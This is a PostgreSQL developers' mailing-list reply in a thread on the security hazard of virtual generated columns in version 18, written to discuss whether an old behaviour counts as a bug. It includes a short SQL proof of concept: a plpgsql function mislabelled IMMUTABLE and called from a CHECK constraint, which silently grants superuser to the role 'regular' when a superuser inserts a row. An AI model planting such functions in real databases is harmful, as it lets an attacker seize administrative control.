Re: pg18: Virtual generated columns are not (yet) safe when superuser selects from them

From: jian he <jian(dot)universality(at)gmail(dot)com>
To: Tom Lane <tgl(at)sss(dot)pgh(dot)pa(dot)us>
Cc: Jeff Davis <pgsql(at)j-davis(dot)com>, "David G(dot) Johnston" <david(dot)g(dot)johnston(at)gmail(dot)com>, Robert Haas <robertmhaas(at)gmail(dot)com>, Feike Steenbergen <feikesteenbergen(at)gmail(dot)com>, PostgreSQL mailing lists <pgsql-hackers(at)postgresql(dot)org>
Subject: Re: pg18: Virtual generated columns are not (yet) safe when superuser selects from them
Date: 2025-06-03 02:51:27
Message-ID: CACJufxHCmAub_9PMe7h4nbqHCB9ON3k368UmJWntKg1QXLKDMw@mail.gmail.com
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On Tue, Jun 3, 2025 at 9:19 AM Tom Lane <tgl(at)sss(dot)pgh(dot)pa(dot)us> wrote:
>
> In any case, this doesn't feel like something to be defining and
> implementing post-beta1. Even if it were not security-critical,
> the amount of complication involved is well past our standards
> for what can go in post-feature-freeze.
>
> I'm leaning more and more to the position that we ought to revert
> virtual generated columns for v18 and give ourselves breathing
> room to design a proper fix for the security hazard.
>

Do we consider INSERT associated with user defined function a security bug? for
example, the following, INSERT with a check constraint.

CREATE OR REPLACE FUNCTION exploit_generated.exploit_inner(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
IF (select rolsuper from pg_catalog.pg_roles where
rolname=current_user) THEN
ALTER USER regular WITH superuser;
END IF;
RETURN i::text;
END;
$fun$
VOLATILE;

CREATE OR REPLACE FUNCTION exploit_generated.exploit(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
RETURN exploit_generated.exploit_inner(i);
END;
$fun$
IMMUTABLE;

CREATE TABLE exploit_generated.t (i int, j text, constraint nn
check(exploit_generated.exploit(i) is not null));
INSERT INTO exploit_generated.t VALUES (1, '1');

If so, then it's a very old issue...

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